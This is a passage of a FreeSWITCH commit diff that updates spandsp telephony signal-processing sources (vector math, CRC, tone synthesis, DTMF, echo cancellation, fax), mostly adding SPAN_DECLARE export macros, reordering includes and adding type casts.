 #if defined(HAVE_CONFIG_H)
-#include <config.h>
+#include "config.h"
 #endif
 
 #include <inttypes.h>
 #include <stdlib.h>
 #include <stdio.h>
 #include <string.h>
-#include "floating_fudge.h"
 #if defined(HAVE_TGMATH_H)
 #include <tgmath.h>
 #endif
@@ -44,13 +43,16 @@
 #endif
 #include <assert.h>
 
+#include "floating_fudge.h"
+#include "mmx_sse_decs.h"
+
 #include "spandsp/telephony.h"
 #include "spandsp/logging.h"
 #include "spandsp/complex.h"
 #include "spandsp/vector_int.h"
 #include "spandsp/complex_vector_int.h"
 
-complexi32_t cvec_dot_prodi16(const complexi16_t x[], const complexi16_t y[], int n)
+SPAN_DECLARE(complexi32_t) cvec_dot_prodi16(const complexi16_t x[], const complexi16_t y[], int n)
 {
     int i;
     complexi32_t z;
@@ -65,7 +67,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-complexi32_t cvec_dot_prodi32(const complexi32_t x[], const complexi32_t y[], int n)
+SPAN_DECLARE(complexi32_t) cvec_dot_prodi32(const complexi32_t x[], const complexi32_t y[], int n)
 {
     int i;
     complexi32_t z;
@@ -80,7 +82,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-complexi32_t cvec_circular_dot_prodi16(const complexi16_t x[], const complexi16_t y[], int n, int pos)
+SPAN_DECLARE(complexi32_t) cvec_circular_dot_prodi16(const complexi16_t x[], const complexi16_t y[], int n, int pos)
 {
     complexi32_t z;
     complexi32_t z1;
@@ -92,19 +94,19 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-void cvec_lmsi16(const complexi16_t x[], complexi16_t y[], int n, const complexi16_t *error)
+SPAN_DECLARE(void) cvec_lmsi16(const complexi16_t x[], complexi16_t y[], int n, const complexi16_t *error)
 {
     int i;
 
     for (i = 0;  i < n;  i++)
     {
-        y[i].re += ((int32_t) x[i].im*(int32_t) error->im + (int32_t) x[i].re*(int32_t) error->re) >> 12;
-        y[i].im += ((int32_t) x[i].re*(int32_t) error->im - (int32_t) x[i].im*(int32_t) error->re) >> 12;
+        y[i].re += (int16_t) (((int32_t) x[i].im*(int32_t) error->im + (int32_t) x[i].re*(int32_t) error->re) >> 12);
+        y[i].im += (int16_t) (((int32_t) x[i].re*(int32_t) error->im - (int32_t) x[i].im*(int32_t) error->re) >> 12);
     }
 }
 /*- End of function --------------------------------------------------------*/
 
-void cvec_circular_lmsi16(const complexi16_t x[], complexi16_t y[], int n, int pos, const complexi16_t *error)
+SPAN_DECLARE(void) cvec_circular_lmsi16(const complexi16_t x[], complexi16_t y[], int n, int pos, const complexi16_t *error)
 {
     cvec_lmsi16(&x[pos], &y[0], n - pos, error);
     cvec_lmsi16(&x[0], &y[n - pos], pos, error);

Modified: freeswitch/branches/seven/libs/spandsp/src/crc.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/crc.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/crc.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,13 +22,13 @@
  * License along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: crc.c,v 1.4 2008/05/13 13:17:22 steveu Exp $
+ * $Id: crc.c,v 1.6 2009/02/03 16:28:39 steveu Exp $
  */
 
 /*! \file */
 
 #if defined(HAVE_CONFIG_H)
-#include <config.h>
+#include "config.h"
 #endif
 
 #include <inttypes.h>
@@ -107,7 +107,7 @@
     0xB40BBE37, 0xC30C8EA1, 0x5A05DF1B, 0x2D02EF8D
 };
 
-uint32_t crc_itu32_calc(const uint8_t *buf, int len, uint32_t crc)
+SPAN_DECLARE(uint32_t) crc_itu32_calc(const uint8_t *buf, int len, uint32_t crc)
 {
     int i;
 
@@ -117,7 +117,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int crc_itu32_append(uint8_t *buf, int len)
+SPAN_DECLARE(int) crc_itu32_append(uint8_t *buf, int len)
 {
     uint32_t crc;
     int new_len;
@@ -136,7 +136,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int crc_itu32_check(const uint8_t *buf, int len)
+SPAN_DECLARE(int) crc_itu32_check(const uint8_t *buf, int len)
 {
     uint32_t crc;
     int i;
@@ -184,7 +184,7 @@
     0x7BC7, 0x6A4E, 0x58D5, 0x495C, 0x3DE3, 0x2C6A, 0x1EF1, 0x0F78
 };
 
-uint16_t crc_itu16_calc(const uint8_t *buf, int len, uint16_t crc)
+SPAN_DECLARE(uint16_t) crc_itu16_calc(const uint8_t *buf, int len, uint16_t crc)
 {
     int i;
 
@@ -194,7 +194,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int crc_itu16_append(uint8_t *buf, int len)
+SPAN_DECLARE(int) crc_itu16_append(uint8_t *buf, int len)
 {
     uint16_t crc;
     int new_len;
@@ -211,7 +211,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int crc_itu16_check(const uint8_t *buf, int len)
+SPAN_DECLARE(int) crc_itu16_check(const uint8_t *buf, int len)
 {
     uint16_t crc;
     int i;

Modified: freeswitch/branches/seven/libs/spandsp/src/dds_float.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/dds_float.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/dds_float.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,24 +22,24 @@
  * License along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: dds_float.c,v 1.8 2008/07/02 14:48:25 steveu Exp $
+ * $Id: dds_float.c,v 1.11 2009/02/03 16:28:39 steveu Exp $
  */
 
 /*! \file */
 
 #if defined(HAVE_CONFIG_H)
-#include <config.h>
+#include "config.h"
 #endif
 
 #include <stdio.h>
 #include <inttypes.h>
-#include "floating_fudge.h"
 #if defined(HAVE_TGMATH_H)
 #include <tgmath.h>
 #endif
 #if defined(HAVE_MATH_H)
 #include <math.h>
 #endif
+#include "floating_fudge.h"
 
 #include "spandsp/telephony.h"
 #include "spandsp/complex.h"
@@ -2102,37 +2102,37 @@
     -0.00306796f
 };
 
-int32_t dds_phase_ratef(float frequency)
+SPAN_DECLARE(int32_t) dds_phase_ratef(float frequency)
 {
     return (int32_t) (frequency*65536.0f*65536.0f/SAMPLE_RATE);
 }
 /*- End of function --------------------------------------------------------*/
 
-float dds_frequencyf(int32_t phase_rate)
+SPAN_DECLARE(float) dds_frequencyf(int32_t phase_rate)
 {
     return (float) phase_rate*(float) SAMPLE_RATE/(65536.0f*65536.0f);
 }
 /*- End of function --------------------------------------------------------*/
 
-float dds_scaling_dbm0f(float level)
+SPAN_DECLARE(float) dds_scaling_dbm0f(float level)
 {
     return powf(10.0f, (level - DBM0_MAX_SINE_POWER)/20.0f)*32767.0f;
 }
 /*- End of function --------------------------------------------------------*/
 
-float dds_scaling_dbovf(float level)
+SPAN_DECLARE(float) dds_scaling_dbovf(float level)
 {
     return powf(10.0f, (level - DBOV_MAX_SINE_POWER)/20.0f)*32767.0f;
 }
 /*- End of function --------------------------------------------------------*/
 
-void dds_advancef(uint32_t *phase_acc, int32_t phase_rate)
+SPAN_DECLARE(void) dds_advancef(uint32_t *phase_acc, int32_t phase_rate)
 {
     *phase_acc += phase_rate;
 }
 /*- End of function --------------------------------------------------------*/
 
-float ddsf(uint32_t *phase_acc, int32_t phase_rate)
+SPAN_DECLARE(float) ddsf(uint32_t *phase_acc, int32_t phase_rate)
 {
     float amp;
 
@@ -2142,13 +2142,13 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-float dds_lookupf(uint32_t phase)
+SPAN_DECLARE(float) dds_lookupf(uint32_t phase)
 {
     return sine_table[phase >> (32 - SLENK)];
 }
 /*- End of function --------------------------------------------------------*/
 
-float dds_modf(uint32_t *phase_acc, int32_t phase_rate, float scale, int32_t phase)
+SPAN_DECLARE(float) dds_modf(uint32_t *phase_acc, int32_t phase_rate, float scale, int32_t phase)
 {
     float amp;
 
@@ -2158,7 +2158,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-complexf_t dds_complexf(uint32_t *phase_acc, int32_t phase_rate)
+SPAN_DECLARE(complexf_t) dds_complexf(uint32_t *phase_acc, int32_t phase_rate)
 {
     complexf_t amp;
 
@@ -2169,14 +2169,14 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-complexf_t dds_lookup_complexf(uint32_t phase)
+SPAN_DECLARE(complexf_t) dds_lookup_complexf(uint32_t phase)
 {
     return complex_setf(sine_table[(phase + (1 << 30)) >> (32 - SLENK)],
                         sine_table[phase >> (32 - SLENK)]);
 }
 /*- End of function --------------------------------------------------------*/
 
-complexf_t dds_complex_modf(uint32_t *phase_acc, int32_t phase_rate, float scale, int32_t phase)
+SPAN_DECLARE(complexf_t) dds_complex_modf(uint32_t *phase_acc, int32_t phase_rate, float scale, int32_t phase)
 {
     complexf_t amp;
 

Modified: freeswitch/branches/seven/libs/spandsp/src/dds_int.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/dds_int.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/dds_int.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,23 +22,23 @@
  * License along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: dds_int.c,v 1.11 2008/09/11 15:13:42 steveu Exp $
+ * $Id: dds_int.c,v 1.16 2009/02/21 04:27:46 steveu Exp $
  */
 
 /*! \file */
 
 #if defined(HAVE_CONFIG_H)
-#include <config.h>
+#include "config.h"
 #endif
 
 #include <inttypes.h>
-#include "floating_fudge.h"
 #if defined(HAVE_TGMATH_H)
 #include <tgmath.h>
 #endif
 #if defined(HAVE_MATH_H)
 #include <math.h>
 #endif
+#include "floating_fudge.h"
 
 #include "spandsp/telephony.h"
 #include "spandsp/complex.h"
@@ -190,31 +190,31 @@
      32767,
 };
 
-int32_t dds_phase_rate(float frequency)
+SPAN_DECLARE(int32_t) dds_phase_rate(float frequency)
 {
     return (int32_t) (frequency*65536.0f*65536.0f/SAMPLE_RATE);
 }
 /*- End of function --------------------------------------------------------*/
 
-float dds_frequency(int32_t phase_rate)
+SPAN_DECLARE(float) dds_frequency(int32_t phase_rate)
 {
     return (float) phase_rate*(float) SAMPLE_RATE/(65536.0f*65536.0f);
 }
 /*- End of function --------------------------------------------------------*/
 
-int dds_scaling_dbm0(float level)
+SPAN_DECLARE(int16_t) dds_scaling_dbm0(float level)
 {
-    return (int) (powf(10.0f, (level - DBM0_MAX_SINE_POWER)/20.0f)*32767.0f);
+    return (int16_t) (powf(10.0f, (level - DBM0_MAX_SINE_POWER)/20.0f)*32767.0f);
 }
 /*- End of function --------------------------------------------------------*/
 
-int dds_scaling_dbov(float level)
+SPAN_DECLARE(int16_t) dds_scaling_dbov(float level)
 {
-    return (int) (powf(10.0f, (level - DBOV_MAX_SINE_POWER)/20.0f)*32767.0f);
+    return (int16_t) (powf(10.0f, (level - DBOV_MAX_SINE_POWER)/20.0f)*32767.0f);
 }
 /*- End of function --------------------------------------------------------*/
 
-int16_t dds_lookup(uint32_t phase)
+SPAN_DECLARE(int16_t) dds_lookup(uint32_t phase)
 {
     uint32_t step;
     int16_t amp;
@@ -230,19 +230,19 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int16_t dds_offset(uint32_t phase_acc, int32_t phase_offset)
+SPAN_DECLARE(int16_t) dds_offset(uint32_t phase_acc, int32_t phase_offset)
 {
     return dds_lookup(phase_acc + phase_offset);
 }
 /*- End of function --------------------------------------------------------*/
 
-void dds_advance(uint32_t *phase_acc, int32_t phase_rate)
+SPAN_DECLARE(void) dds_advance(uint32_t *phase_acc, int32_t phase_rate)
 {
     *phase_acc += phase_rate;
 }
 /*- End of function --------------------------------------------------------*/
 
-int16_t dds(uint32_t *phase_acc, int32_t phase_rate)
+SPAN_DECLARE(int16_t) dds(uint32_t *phase_acc, int32_t phase_rate)
 {
     int16_t amp;
 
@@ -252,7 +252,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int16_t dds_mod(uint32_t *phase_acc, int32_t phase_rate, int16_t scale, int32_t phase)
+SPAN_DECLARE(int16_t) dds_mod(uint32_t *phase_acc, int32_t phase_rate, int16_t scale, int32_t phase)
 {
     int16_t amp;
 
@@ -262,13 +262,13 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-complexi_t dds_lookup_complexi(uint32_t phase)
+SPAN_DECLARE(complexi_t) dds_lookup_complexi(uint32_t phase)
 {
     return complex_seti(dds_lookup(phase + (1 << 30)), dds_lookup(phase));
 }
 /*- End of function --------------------------------------------------------*/
 
-complexi_t dds_complexi(uint32_t *phase_acc, int32_t phase_rate)
+SPAN_DECLARE(complexi_t) dds_complexi(uint32_t *phase_acc, int32_t phase_rate)
 {
     complexi_t amp;
 
@@ -278,7 +278,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-complexi_t dds_complexi_mod(uint32_t *phase_acc, int32_t phase_rate, int16_t scale, int32_t phase)
+SPAN_DECLARE(complexi_t) dds_complexi_mod(uint32_t *phase_acc, int32_t phase_rate, int16_t scale, int32_t phase)
 {
     complexi_t amp;
 
@@ -289,13 +289,13 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-complexi16_t dds_lookup_complexi16(uint32_t phase)
+SPAN_DECLARE(complexi16_t) dds_lookup_complexi16(uint32_t phase)
 {
     return complex_seti16(dds_lookup(phase + (1 << 30)), dds_lookup(phase));
 }
 /*- End of function --------------------------------------------------------*/
 
-complexi16_t dds_complexi16(uint32_t *phase_acc, int32_t phase_rate)
+SPAN_DECLARE(complexi16_t) dds_complexi16(uint32_t *phase_acc, int32_t phase_rate)
 {
     complexi16_t amp;
 
@@ -305,24 +305,24 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-complexi16_t dds_complexi16_mod(uint32_t *phase_acc, int32_t phase_rate, int16_t scale, int32_t phase)
+SPAN_DECLARE(complexi16_t) dds_complexi16_mod(uint32_t *phase_acc, int32_t phase_rate, int16_t scale, int32_t phase)
 {
     complexi16_t amp;
 
-    amp = complex_seti16(((int32_t) dds_lookup(*phase_acc + phase + (1 << 30))*(int32_t) scale) >> 15,
-                         ((int32_t) dds_lookup(*phase_acc + phase)*(int32_t) scale) >> 15);
+    amp = complex_seti16((int16_t) (((int32_t) dds_lookup(*phase_acc + phase + (1 << 30))*(int32_t) scale) >> 15),
+                         (int16_t) (((int32_t) dds_lookup(*phase_acc + phase)*(int32_t) scale) >> 15));
     *phase_acc += phase_rate;
     return amp;
 }
 /*- End of function --------------------------------------------------------*/
 
-complexi32_t dds_lookup_complexi32(uint32_t phase)
+SPAN_DECLARE(complexi32_t) dds_lookup_complexi32(uint32_t phase)
 {
     return complex_seti32(dds_lookup(phase + (1 << 30)), dds_lookup(phase));
 }
 /*- End of function --------------------------------------------------------*/
 
-complexi32_t dds_complexi32(uint32_t *phase_acc, int32_t phase_rate)
+SPAN_DECLARE(complexi32_t) dds_complexi32(uint32_t *phase_acc, int32_t phase_rate)
 {
     complexi32_t amp;
 
@@ -332,7 +332,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-complexi32_t dds_complexi32_mod(uint32_t *phase_acc, int32_t phase_rate, int16_t scale, int32_t phase)
+SPAN_DECLARE(complexi32_t) dds_complexi32_mod(uint32_t *phase_acc, int32_t phase_rate, int16_t scale, int32_t phase)
 {
     complexi32_t amp;
 

Modified: freeswitch/branches/seven/libs/spandsp/src/dtmf.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/dtmf.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/dtmf.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,10 +22,10 @@
  * License along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: dtmf.c,v 1.43 2008/07/02 14:48:25 steveu Exp $
+ * $Id: dtmf.c,v 1.53 2009/04/12 09:12:10 steveu Exp $
  */
  
-/*! \file dtmf.h */
+/*! \file */
 
 #if defined(HAVE_CONFIG_H)
 #include "config.h"
@@ -33,19 +33,20 @@
 
 #include <inttypes.h>
 #include <stdlib.h>
-#include "floating_fudge.h"
 #if defined(HAVE_TGMATH_H)
 #include <tgmath.h>
 #endif
 #if defined(HAVE_MATH_H)
 #include <math.h>
 #endif
+#include "floating_fudge.h"
 #include <string.h>
 #include <stdio.h>
 #include <time.h>
 #include <fcntl.h>
 
 #include "spandsp/telephony.h"
+#include "spandsp/fast_convert.h"
 #include "spandsp/queue.h"
 #include "spandsp/complex.h"
 #include "spandsp/dds.h"
@@ -54,6 +55,10 @@
 #include "spandsp/super_tone_rx.h"
 #include "spandsp/dtmf.h"
 
+#include "spandsp/private/queue.h"
+#include "spandsp/private/tone_generate.h"
+#include "spandsp/private/dtmf.h"
+
 #define DEFAULT_DTMF_TX_LEVEL       -10
 #define DEFAULT_DTMF_TX_ON_TIME     50
 #define DEFAULT_DTMF_TX_OFF_TIME    55
@@ -95,7 +100,7 @@
 static int dtmf_tx_inited = FALSE;
 static tone_gen_descriptor_t dtmf_digit_tones[16];
 
-int dtmf_rx(dtmf_rx_state_t *s, const int16_t amp[], int samples)
+SPAN_DECLARE(int) dtmf_rx(dtmf_rx_state_t *s, const int16_t amp[], int samples)
 {
 #if defined(SPANDSP_USE_FIXED_POINT)
     int32_t row_energy[4];
@@ -247,7 +252,7 @@
                     /* Avoid reporting multiple no digit conditions on flaky hits */
                     if (s->in_digit  ||  hit)
                     {
-                        i = (s->in_digit  &&  !hit)  ?  -99  :  lrintf(log10f(s->energy)*10.0f - DTMF_POWER_OFFSET + DBM0_MAX_POWER);
+                        i = (s->in_digit  &&  !hit)  ?  -99  :  lfastrintf(log10f(s->energy)*10.0f - DTMF_POWER_OFFSET + DBM0_MAX_POWER);
                         s->realtime_callback(s->realtime_callback_data, hit, i, 0);
                     }
                 }
@@ -292,7 +297,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int dtmf_rx_status(dtmf_rx_state_t *s)
+SPAN_DECLARE(int) dtmf_rx_status(dtmf_rx_state_t *s)
 {
     if (s->in_digit)
         return s->in_digit;
@@ -302,7 +307,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-size_t dtmf_rx_get(dtmf_rx_state_t *s, char *buf, int max)
+SPAN_DECLARE(size_t) dtmf_rx_get(dtmf_rx_state_t *s, char *buf, int max)
 {
     if (max > s->current_digits)
         max = s->current_digits;
@@ -317,20 +322,20 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-void dtmf_rx_set_realtime_callback(dtmf_rx_state_t *s,
-                                   tone_report_func_t callback,
-                                   void *user_data)
+SPAN_DECLARE(void) dtmf_rx_set_realtime_callback(dtmf_rx_state_t *s,
+                                                 tone_report_func_t callback,
+                                                 void *user_data)
 {
     s->realtime_callback = callback;
     s->realtime_callback_data = user_data;
 }
 /*- End of function --------------------------------------------------------*/
 
-void dtmf_rx_parms(dtmf_rx_state_t *s,
-                   int filter_dialtone,
-                   int twist,
-                   int reverse_twist,
-                   int threshold)
+SPAN_DECLARE(void) dtmf_rx_parms(dtmf_rx_state_t *s,
+                                 int filter_dialtone,
+                                 int twist,
+                                 int reverse_twist,
+                                 int threshold)
 {
     float x;
 
@@ -354,9 +359,9 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-dtmf_rx_state_t *dtmf_rx_init(dtmf_rx_state_t *s,
-                              digits_rx_callback_t callback,
-                              void *user_data)
+SPAN_DECLARE(dtmf_rx_state_t *) dtmf_rx_init(dtmf_rx_state_t *s,
+                                             digits_rx_callback_t callback,
+                                             void *user_data)
 {
     int i;
     static int initialised = FALSE;
@@ -405,8 +410,14 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int dtmf_rx_free(dtmf_rx_state_t *s)
+SPAN_DECLARE(int) dtmf_rx_release(dtmf_rx_state_t *s)
 {
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(int) dtmf_rx_free(dtmf_rx_state_t *s)
+{
     free(s);
     return 0;
 }
@@ -439,7 +450,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int dtmf_tx(dtmf_tx_state_t *s, int16_t amp[], int max_samples)
+SPAN_DECLARE(int) dtmf_tx(dtmf_tx_state_t *s, int16_t amp[], int max_samples)
 {
     int len;
     const char *cp;
@@ -469,7 +480,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-size_t dtmf_tx_put(dtmf_tx_state_t *s, const char *digits, int len)
+SPAN_DECLARE(int) dtmf_tx_put(dtmf_tx_state_t *s, const char *digits, int len)
 {
     size_t space;
 
@@ -481,29 +492,29 @@
         if ((len = strlen(digits)) == 0)
             return 0;
     }
-    if ((space = queue_free_space(&s->queue.queue)) < len)
-        return len - space;
+    if ((space = queue_free_space(&s->queue.queue)) < (size_t) len)
+        return len - (int) space;
     if (queue_write(&s->queue.queue, (const uint8_t *) digits, len) >= 0)
         return 0;
     return -1;
 }
 /*- End of function --------------------------------------------------------*/
 
-void dtmf_tx_set_level(dtmf_tx_state_t *s, int level, int twist)
+SPAN_DECLARE(void) dtmf_tx_set_level(dtmf_tx_state_t *s, int level, int twist)
 {
     s->low_level = dds_scaling_dbm0f((float) level);
     s->high_level = dds_scaling_dbm0f((float) (level + twist));
 }
 /*- End of function --------------------------------------------------------*/
 
-void dtmf_tx_set_timing(dtmf_tx_state_t *s, int on_time, int off_time)
+SPAN_DECLARE(void) dtmf_tx_set_timing(dtmf_tx_state_t *s, int on_time, int off_time)
 {
     s->on_time = ((on_time >= 0)  ?  on_time  :  DEFAULT_DTMF_TX_ON_TIME)*SAMPLE_RATE/1000;
     s->off_time = ((off_time >= 0)  ?  off_time  :  DEFAULT_DTMF_TX_OFF_TIME)*SAMPLE_RATE/1000;
 }
 /*- End of function --------------------------------------------------------*/
 
-dtmf_tx_state_t *dtmf_tx_init(dtmf_tx_state_t *s)
+SPAN_DECLARE(dtmf_tx_state_t *) dtmf_tx_init(dtmf_tx_state_t *s)
 {
     if (s == NULL)
     {
@@ -521,8 +532,14 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int dtmf_tx_free(dtmf_tx_state_t *s)
+SPAN_DECLARE(int) dtmf_tx_release(dtmf_tx_state_t *s)
 {
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(int) dtmf_tx_free(dtmf_tx_state_t *s)
+{
     free(s);
     return 0;
 }

Modified: freeswitch/branches/seven/libs/spandsp/src/echo.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/echo.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/echo.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -27,7 +27,7 @@
  * License along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: echo.c,v 1.28 2008/09/19 14:02:05 steveu Exp $
+ * $Id: echo.c,v 1.32 2009/02/10 13:06:46 steveu Exp $
  */
 
 /*! \file */
@@ -79,22 +79,23 @@
    reasonable way. */
 
 #if defined(HAVE_CONFIG_H)
-#include <config.h>
+#include "config.h"
 #endif
 
 #include <inttypes.h>
 #include <stdlib.h>
-#include "floating_fudge.h"
 #if defined(HAVE_TGMATH_H)
 #include <tgmath.h>
 #endif
 #if defined(HAVE_MATH_H)
 #include <math.h>
 #endif
+#include "floating_fudge.h"
 #include <string.h>
 #include <stdio.h>
 
 #include "spandsp/telephony.h"
+#include "spandsp/fast_convert.h"
 #include "spandsp/logging.h"
 #include "spandsp/saturated.h"
 #include "spandsp/dc_restore.h"
@@ -237,7 +238,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-echo_can_state_t *echo_can_create(int len, int adaption_mode)
+SPAN_DECLARE(echo_can_state_t *) echo_can_init(int len, int adaption_mode)
 {
     echo_can_state_t *ec;
     int i;
@@ -278,12 +279,18 @@
     ec->tap_rotate_counter = 1600;
     ec->cng_level = 1000;
     echo_can_adaption_mode(ec, adaption_mode);
-    return  ec;
+    return ec;
 }
 /*- End of function --------------------------------------------------------*/
 
-void echo_can_free(echo_can_state_t *ec)
+SPAN_DECLARE(int) echo_can_release(echo_can_state_t *ec)
 {
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(int) echo_can_free(echo_can_state_t *ec)
+{
     int i;
     
     fir16_free(&ec->fir_state);
@@ -291,16 +298,17 @@
     for (i = 0;  i < 4;  i++)
         free(ec->fir_taps16[i]);
     free(ec);
+    return 0;
 }
 /*- End of function --------------------------------------------------------*/
 
-void echo_can_adaption_mode(echo_can_state_t *ec, int adaption_mode)
+SPAN_DECLARE(void) echo_can_adaption_mode(echo_can_state_t *ec, int adaption_mode)
 {
     ec->adaption_mode = adaption_mode;
 }
 /*- End of function --------------------------------------------------------*/
 
-void echo_can_flush(echo_can_state_t *ec)
+SPAN_DECLARE(void) echo_can_flush(echo_can_state_t *ec)
 {
     int i;
 
@@ -343,7 +351,7 @@
 
 int sample_no = 0;
 
-void echo_can_snapshot(echo_can_state_t *ec)
+SPAN_DECLARE(void) echo_can_snapshot(echo_can_state_t *ec)
 {
     memcpy(ec->snapshot, ec->fir_taps16[0], ec->taps*sizeof(int16_t));
 }
@@ -388,7 +396,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int16_t echo_can_update(echo_can_state_t *ec, int16_t tx, int16_t rx)
+SPAN_DECLARE(int16_t) echo_can_update(echo_can_state_t *ec, int16_t tx, int16_t rx)
 {
     int32_t echo_value;
     int clean_rx;
@@ -603,7 +611,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int16_t echo_can_hpf_tx(echo_can_state_t *ec, int16_t tx)
+SPAN_DECLARE(int16_t) echo_can_hpf_tx(echo_can_state_t *ec, int16_t tx)
 {
     if (ec->adaption_mode & ECHO_CAN_USE_TX_HPF)
         tx = echo_can_hpf(ec->tx_hpf, tx);

Modified: freeswitch/branches/seven/libs/spandsp/src/fax.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/fax.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/fax.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -23,26 +23,26 @@
  * License along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: fax.c,v 1.79 2008/08/13 00:11:30 steveu Exp $
+ * $Id: fax.c,v 1.93 2009/05/24 07:18:36 steveu Exp $
  */
 
 /*! \file */
 
 #if defined(HAVE_CONFIG_H)
-#include <config.h>
+#include "config.h"
 #endif
 
 #include <inttypes.h>
 #include <stdlib.h>
 #include <stdio.h>
 #include <string.h>
-#include "floating_fudge.h"
 #if defined(HAVE_TGMATH_H)
 #include <tgmath.h>
 #endif
 #if defined(HAVE_MATH_H)
 #include <math.h>
 #endif
+#include "floating_fudge.h"
 #include <assert.h>
 #include <fcntl.h>
 #include <time.h>
@@ -63,12 +63,12 @@
 #include "spandsp/hdlc.h"
 #include "spandsp/silence_gen.h"
 #include "spandsp/fsk.h"
+#include "spandsp/v29tx.h"
 #include "spandsp/v29rx.h"
-#include "spandsp/v29tx.h"
+#include "spandsp/v27ter_tx.h"
 #include "spandsp/v27ter_rx.h"
-#include "spandsp/v27ter_tx.h"
+#include "spandsp/v17tx.h"
 #include "spandsp/v17rx.h"
-#include "spandsp/v17tx.h"
 #include "spandsp/super_tone_rx.h"
 #include "spandsp/modem_connect_tones.h"
 #include "spandsp/t4.h"
@@ -82,8 +82,24 @@
 #include "spandsp/fax_modems.h"
 #include "spandsp/fax.h"
 
-#define HDLC_FRAMING_OK_THRESHOLD       5
+#include "spandsp/private/logging.h"
+#include "spandsp/private/silence_gen.h"
+#include "spandsp/private/fsk.h"
+#include "spandsp/private/v17tx.h"
+#include "spandsp/private/v17rx.h"
+#include "spandsp/private/v27ter_tx.h"
+#include "spandsp/private/v27ter_rx.h"
+#include "spandsp/private/v29tx.h"
+#include "spandsp/private/v29rx.h"
+#include "spandsp/private/modem_connect_tones.h"
+#include "spandsp/private/hdlc.h"
+#include "spandsp/private/fax_modems.h"
+#include "spandsp/private/t4.h"
+#include "spandsp/private/t30.h"
+#include "spandsp/private/fax.h"
 
+#define HDLC_FRAMING_OK_THRESHOLD       8
+
 static void fax_send_hdlc(void *user_data, const uint8_t *msg, int len)
 {
     fax_state_t *s;
@@ -112,6 +128,27 @@
 }
 /*- End of function --------------------------------------------------------*/
 
+static void set_rx_handler(fax_state_t *s, span_rx_handler_t *handler, void *user_data)
+{
+    s->modems.rx_handler = handler;
+    s->modems.rx_user_data = user_data;
+}
+/*- End of function --------------------------------------------------------*/
+
+static void set_tx_handler(fax_state_t *s, span_tx_handler_t *handler, void *user_data)
+{
+    s->modems.tx_handler = handler;
+    s->modems.tx_user_data = user_data;
+}
+/*- End of function --------------------------------------------------------*/
+
+static void set_next_tx_handler(fax_state_t *s, span_tx_handler_t *handler, void *user_data)
+{
+    s->modems.next_tx_handler = handler;
+    s->modems.next_tx_user_data = user_data;
+}
+/*- End of function --------------------------------------------------------*/
+
 static int v17_v21_rx(void *user_data, const int16_t amp[], int len)
 {
     fax_state_t *t;
@@ -125,8 +162,7 @@
         /* The fast modem has trained, so we no longer need to run the slow
            one in parallel. */
         span_log(&t->logging, SPAN_LOG_FLOW, "Switching from V.17 + V.21 to V.17 (%.2fdBm0)\n", v17_rx_signal_power(&s->v17_rx));
